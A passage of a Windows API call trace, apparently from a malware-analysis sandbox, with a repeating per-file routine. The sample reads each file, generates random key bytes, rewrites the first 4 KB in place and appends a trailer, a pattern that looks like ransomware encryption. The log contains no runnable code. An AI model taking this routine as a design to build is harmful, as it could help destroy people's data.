hHeap=0x540000) returned 1 [0084.967] GetProcessHeap () returned 0x540000 [0084.967] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.967] GetProcessHeap () returned 0x540000 [0084.967] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.967] GetProcessHeap () returned 0x540000 [0084.967] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.967] GetProcessHeap () returned 0x540000 [0084.967] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.967] GetProcessHeap () returned 0x540000 [0084.967] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0084.967] GetProcessHeap () returned 0x540000 [0084.967] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.967] GetProcessHeap () returned 0x540000 [0084.967] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0084.967] GetProcessHeap () returned 0x540000 [0084.967] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0084.967] GetProcessHeap () returned 0x540000 [0084.967] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0084.967] GetProcessHeap () returned 0x540000 [0084.968] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0084.968] GetProcessHeap () returned 0x540000 [0084.968] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0084.968] GetProcessHeap () returned 0x540000 [0084.968] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0084.968] GetProcessHeap () returned 0x540000 [0084.968] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.968] GetProcessHeap () returned 0x540000 [0084.968] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0084.968] GetProcessHeap () returned 0x540000 [0084.968] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.968] GetProcessHeap () returned 0x540000 [0084.968] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.968] GetProcessHeap () returned 0x540000 [0084.968] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.968] GetProcessHeap () returned 0x540000 [0084.968] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.968] GetProcessHeap () returned 0x540000 [0084.968] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.968] GetProcessHeap () returned 0x540000 [0084.968] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.968] GetProcessHeap () returned 0x540000 [0084.968] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.968] GetProcessHeap () returned 0x540000 [0084.968] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.968] GetProcessHeap () returned 0x540000 [0084.968] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.968] GetProcessHeap () returned 0x540000 [0084.968] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.968] GetProcessHeap () returned 0x540000 [0084.968] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.969] GetProcessHeap () returned 0x540000 [0084.969] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.969] GetProcessHeap () returned 0x540000 [0084.969] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.969] GetProcessHeap () returned 0x540000 [0084.969] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.969] GetProcessHeap () returned 0x540000 [0084.969] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.969] GetProcessHeap () returned 0x540000 [0084.969] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.969] GetProcessHeap () returned 0x540000 [0084.969] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.969] GetProcessHeap () returned 0x540000 [0084.969] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.969] GetProcessHeap () returned 0x540000 [0084.969] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.969] GetProcessHeap () returned 0x540000 [0084.969] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.969] GetProcessHeap () returned 0x540000 [0084.969] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.969] GetProcessHeap () returned 0x540000 [0084.969] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.969] GetProcessHeap () returned 0x540000 [0084.970] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.970] GetProcessHeap () returned 0x540000 [0084.970] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.970] GetProcessHeap () returned 0x540000 [0084.970] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0084.970] GetProcessHeap () returned 0x540000 [0084.970] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.970] GetProcessHeap () returned 0x540000 [0084.970] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0084.970] GetProcessHeap () returned 0x540000 [0084.970] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0084.970] GetProcessHeap () returned 0x540000 [0084.970] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.970] GetProcessHeap () returned 0x540000 [0084.970] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0084.970] SetFilePointerEx (in: hFile=0x8a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.970] WriteFile (in: hFile=0x8a4, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0084.971] WriteFile (in: hFile=0x8a4, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0084.971] GetProcessHeap () returned 0x540000 [0084.971] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0084.971] GetProcessHeap () returned 0x540000 [0084.971] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0084.971] GetProcessHeap () returned 0x540000 [0084.971] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0084.971] CloseHandle (hObject=0x8a4) returned 1 [0084.972] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 75 [0084.972] SetFilePointerEx (in: hFile=0x8a8, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.973] ReadFile (in: hFile=0x8a8, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0084.973] SetFilePointerEx (in: hFile=0x8a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.973] GetProcessHeap () returned 0x540000 [0084.973] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0084.973] GetProcessHeap () returned 0x540000 [0084.973] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0084.973] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0084.973] GetProcessHeap () returned 0x540000 [0084.973] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0084.973] ReadFile (in: hFile=0x8a8, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x285fd08*=0x1000, lpOverlapped=0x0) returned 1 [0085.020] SetFilePointerEx (in: hFile=0x8a8, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.021] WriteFile (in: hFile=0x8a8, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x285fd44*=0x1000, lpOverlapped=0x0) returned 1 [0085.021] GetProcessHeap () returned 0x540000 [0085.021] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0085.021] GetProcessHeap () returned 0x540000 [0085.021] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0085.021] GetProcessHeap () returned 0x540000 [0085.021] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0085.021] GetProcessHeap () returned 0x540000 [0085.021] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0085.021] GetProcessHeap () returned 0x540000 [0085.021] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0085.021] GetProcessHeap () returned 0x540000 [0085.021] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0085.021] GetProcessHeap () returned 0x540000 [0085.021] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.021] GetProcessHeap () returned 0x540000 [0085.021] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.021] GetProcessHeap () returned 0x540000 [0085.021] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.021] GetProcessHeap () returned 0x540000 [0085.021] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.021] GetProcessHeap () returned 0x540000 [0085.021] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.021] GetProcessHeap () returned 0x540000 [0085.021] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.021] GetProcessHeap () returned 0x540000 [0085.021] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.021] GetProcessHeap () returned 0x540000 [0085.021] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.021] GetProcessHeap () returned 0x540000 [0085.022] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.022] GetProcessHeap () returned 0x540000 [0085.022] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.022] GetProcessHeap () returned 0x540000 [0085.022] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.022] GetProcessHeap () returned 0x540000 [0085.022] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.022] GetProcessHeap () returned 0x540000 [0085.022] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.022] GetProcessHeap () returned 0x540000 [0085.022] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.022] GetProcessHeap () returned 0x540000 [0085.022] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.022] GetProcessHeap () returned 0x540000 [0085.022] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.022] GetProcessHeap () returned 0x540000 [0085.022] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.022] GetProcessHeap () returned 0x540000 [0085.022] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.022] GetProcessHeap () returned 0x540000 [0085.022] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.022] GetProcessHeap () returned 0x540000 [0085.022] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.022] GetProcessHeap () returned 0x540000 [0085.022] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.022] GetProcessHeap () returned 0x540000 [0085.022] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.022] GetProcessHeap () returned 0x540000 [0085.022] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.022] GetProcessHeap () returned 0x540000 [0085.022] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.022] GetProcessHeap () returned 0x540000 [0085.022] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.022] GetProcessHeap () returned 0x540000 [0085.022] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.022] GetProcessHeap () returned 0x540000 [0085.022] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.022] GetProcessHeap () returned 0x540000 [0085.022] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.022] GetProcessHeap () returned 0x540000 [0085.023] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.023] GetProcessHeap () returned 0x540000 [0085.023] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.023] GetProcessHeap () returned 0x540000 [0085.023] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.023] GetProcessHeap () returned 0x540000 [0085.023] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.023] GetProcessHeap () returned 0x540000 [0085.023] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0085.023] GetProcessHeap () returned 0x540000 [0085.023] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.023] GetProcessHeap () returned 0x540000 [0085.023] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0085.023] GetProcessHeap () returned 0x540000 [0085.023] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0085.023] GetProcessHeap () returned 0x540000 [0085.023] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0085.023] GetProcessHeap () returned 0x540000 [0085.023] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0085.023] GetProcessHeap () returned 0x540000 [0085.023] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0085.023] GetProcessHeap () returned 0x540000 [0085.023] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0085.023] GetProcessHeap () returned 0x540000 [0085.023] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.023] GetProcessHeap () returned 0x540000 [0085.023] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0085.023] GetProcessHeap () returned 0x540000 [0085.023] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.023] GetProcessHeap () returned 0x540000 [0085.023] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.023] GetProcessHeap () returned 0x540000 [0085.023] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.023] GetProcessHeap () returned 0x540000 [0085.023] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.024] GetProcessHeap () returned 0x540000 [0085.024] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.024] GetProcessHeap () returned 0x540000 [0085.024] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.024] GetProcessHeap () returned 0x540000 [0085.024] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.024] GetProcessHeap () returned 0x540000 [0085.024] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.024] GetProcessHeap () returned 0x540000 [0085.024] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.024] GetProcessHeap () returned 0x540000 [0085.024] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.024] GetProcessHeap () returned 0x540000 [0085.024] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.024] GetProcessHeap () returned 0x540000 [0085.024] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.024] GetProcessHeap () returned 0x540000 [0085.024] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.024] GetProcessHeap () returned 0x540000 [0085.024] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.024] GetProcessHeap () returned 0x540000 [0085.024] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.024] GetProcessHeap () returned 0x540000 [0085.024] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.024] GetProcessHeap () returned 0x540000 [0085.024] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.024] GetProcessHeap () returned 0x540000 [0085.024] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.024] GetProcessHeap () returned 0x540000 [0085.024] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.025] GetProcessHeap () returned 0x540000 [0085.025] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.025] GetProcessHeap () returned 0x540000 [0085.025] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.025] GetProcessHeap () returned 0x540000 [0085.025] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.025] GetProcessHeap () returned 0x540000 [0085.025] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.025] GetProcessHeap () returned 0x540000 [0085.025] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.025] GetProcessHeap () returned 0x540000 [0085.025] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0085.025] GetProcessHeap () returned 0x540000 [0085.025] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.025] GetProcessHeap () returned 0x540000 [0085.025] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0085.025] GetProcessHeap () returned 0x540000 [0085.025] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0085.025] GetProcessHeap () returned 0x540000 [0085.025] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.025] GetProcessHeap () returned 0x540000 [0085.025] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0085.025] SetFilePointerEx (in: hFile=0x8a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.025] WriteFile (in: hFile=0x8a8, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0085.025] WriteFile (in: hFile=0x8a8, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0085.026] GetProcessHeap () returned 0x540000 [0085.026] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0085.026] GetProcessHeap () returned 0x540000 [0085.026] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0085.026] GetProcessHeap () returned 0x540000 [0085.026] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0085.026] CloseHandle (hObject=0x8a8) returned 1 [0085.028] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 76 [0085.028] SetFilePointerEx (in: hFile=0x8ac, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.028] ReadFile (in: hFile=0x8ac, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0085.028] SetFilePointerEx (in: hFile=0x8ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.028] GetProcessHeap () returned 0x540000 [0085.028] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0085.029] GetProcessHeap () returned 0x540000 [0085.029] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0085.029] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0085.029] GetProcessHeap () returned 0x540000 [0085.029] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0085.029] ReadFile (in: hFile=0x8ac, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x285fd08*=0x1000, lpOverlapped=0x0) returned 1 [0085.076] SetFilePointerEx (in: hFile=0x8ac, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.076] WriteFile (in: hFile=0x8ac, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x285fd44*=0x1000, lpOverlapped=0x0) returned 1 [0085.076] GetProcessHeap () returned 0x540000 [0085.076] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0085.077] GetProcessHeap () returned 0x540000 [0085.077] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0085.077] GetProcessHeap () returned 0x540000 [0085.077] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0085.077] GetProcessHeap () returned 0x540000 [0085.077] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0085.077] GetProcessHeap () returned 0x540000 [0085.077] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0085.077] GetProcessHeap () returned 0x540000 [0085.077] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0085.077] GetProcessHeap () returned 0x540000 [0085.077] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.077] GetProcessHeap () returned 0x540000 [0085.077] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.077] GetProcessHeap () returned 0x540000 [0085.077] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.077] GetProcessHeap () returned 0x540000 [0085.077] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.077] GetProcessHeap () returned 0x540000 [0085.077] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.077] GetProcessHeap () returned 0x540000 [0085.077] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.077] GetProcessHeap () returned 0x540000 [0085.077] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.077] GetProcessHeap () returned 0x540000 [0085.077] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.077] GetProcessHeap () returned 0x540000 [0085.077] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.077] GetProcessHeap () returned 0x540000 [0085.077] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.077] GetProcessHeap () returned 0x540000 [0085.077] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.077] GetProcessHeap () returned 0x540000 [0085.077] HeapFree (in: hHeap=0x540000, dwFlags=0x0, 